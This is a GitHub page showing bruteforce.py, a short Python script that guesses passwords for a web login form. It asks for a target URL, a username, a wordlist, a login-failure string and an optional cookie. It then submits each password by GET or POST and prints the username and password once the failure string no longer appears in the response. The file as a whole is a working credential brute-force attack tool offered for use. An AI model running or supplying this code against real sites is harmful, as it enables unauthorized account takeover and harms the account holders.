-
Notifications
You must be signed in to change notification settings - Fork 13
/
bruteforce.py
36 lines (25 loc) · 1.06 KB
/
bruteforce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
from termcolor import colored
url = input('[+] Enter Page URL: ')
username = input('[+] Enter Username For The Account To Bruteforce: ')
password_file = input('[+] Enter Password File To Use: ')
login_failed_string = input('[+] Enter String That Occurs When Login Fails: ')
cookie_value = input('Enter Cookie Value(Optional): ')
def cracking(username,url):
for password in passwords:
password = password.strip()
print(colored(('Trying: ' + password), 'red'))
data = {'username':username,'password':password,'Login':'submit'}
if cookie_value != '':
response = requests.get(url, params={'username':username,'password':password,'Login':'Login'}, cookies = {'Cookie': cookie_value})
else:
response = requests.post(url, data=data)
if login_failed_string in response.content.decode():
pass
else:
print(colored(('[+] Found Username: ==> ' + username), 'green'))
print(colored(('[+] Found Password: ==> ' + password), 'green'))
exit()
with open(password_file, 'r') as passwords:
cracking(username,url)
print('[!!] Password Not In List')